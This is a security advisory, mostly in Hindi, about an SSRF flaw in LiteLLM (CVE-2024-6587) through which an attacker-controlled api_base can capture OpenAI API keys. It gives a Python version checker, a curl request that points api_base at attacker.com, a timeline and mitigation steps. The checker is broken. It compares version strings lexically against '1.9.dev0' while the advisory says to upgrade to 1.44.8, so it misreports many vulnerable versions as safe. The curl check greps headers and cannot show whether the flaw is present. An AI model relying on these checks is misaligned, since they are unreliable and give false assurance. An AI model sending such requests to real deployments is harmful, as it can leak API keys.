LiteLLM सर्वर-साइड रिक्वेस्ट फ़ॉरजरी (SSRF) भेद्यता

इस SSRF भेद्यता का फायदा उठाकर, एक हमलावर api_base पैरामीटर को अपने नियंत्रण वाले डोमेन पर सेट कर सकता है। जब litellm OpenAI API के लिए अनुरोध भेजता है, तो यह अनुरोध हमलावर के डोमेन के माध्यम से रूट किया जाएगा। इस प्रक्रिया में, OpenAI API कुंजी हमलावर द्वारा इंटरसेप्ट की जा सकती है। इस API कुंजी के साथ, हमलावर OpenAI सेवाओं तक अनधिकृत पहुंच प्राप्त कर सकता है, डेटा निकाल सकता है, या अन्य दुर्भावनापूर्ण गतिविधियाँ कर सकता है। यह भेद्यता विशेष रूप से गंभीर है क्योंकि यह हमलावर को OpenAI API कुंजी को उजागर करने की अनुमति देती है, जो तब विभिन्न उद्देश्यों के लिए उपयोग की जा सकती है।

Applications utilizing the berriai/litellm library, particularly those integrated with OpenAI services, are at risk. Environments where the api_base parameter is not properly validated or sanitized are especially vulnerable. Shared hosting environments where multiple users might interact with the litellm application are also at increased risk.

• python / library:

import os
import subprocess

def check_litellm_version():
    try:
        result = subprocess.check_output(['pip', 'show', 'litellm'], stderr=subprocess.STDOUT, text=True)
        version_line = [line for line in result.splitlines() if 'Version:' in line]
        if version_line:
            version = version_line[0].split(': ')[1].strip()
            if version <= '1.9.dev0':
                print(f"[!] litellm version {version} is vulnerable to CVE-2024-6587. Upgrade to 1.44.8 or later.")
            else:
                print("[+] litellm version is not vulnerable.")
        else:
            print("[!] Could not determine litellm version.")
    except FileNotFoundError:
        print("[!] litellm is not installed.")

check_litellm_version()

• generic web:

curl -I 'http://your-litellm-app/chat/completions?api_base=http://attacker.com' | grep api_base

1. 2024-09-13Disclosure

   disclosure

2. 2024-09-13Patch

   patch

1. आरक्षित2024-07-08
2. प्रकाशित2024-09-13
3. EPSS अद्यतन2026-04-02

CVE-2024-6587 को कम करने के लिए, litellm को संस्करण 1.44.8 या बाद के संस्करण में तुरंत अपग्रेड करें। यदि अपग्रेड करना संभव नहीं है, तो एक अस्थायी समाधान के रूप में, आप एक वेब एप्लिकेशन फ़ायरवॉल (WAF) या प्रॉक्सी का उपयोग करके apibase पैरामीटर के लिए इनपुट को मान्य कर सकते हैं, यह सुनिश्चित करते हुए कि यह केवल अपेक्षित डोमेन पर इंगित करता है। इसके अतिरिक्त, आप litellm के कॉन्फ़िगरेशन में सख्त एक्सेस नियंत्रण लागू कर सकते हैं, यह सीमित करते हुए कि कौन apibase पैरामीटर को संशोधित कर सकता है। अपग्रेड के बाद, यह सुनिश्चित करने के लिए कि भेद्यता ठीक हो गई है, OpenAI API कुंजी के लिए अनधिकृत अनुरोधों की निगरानी करें।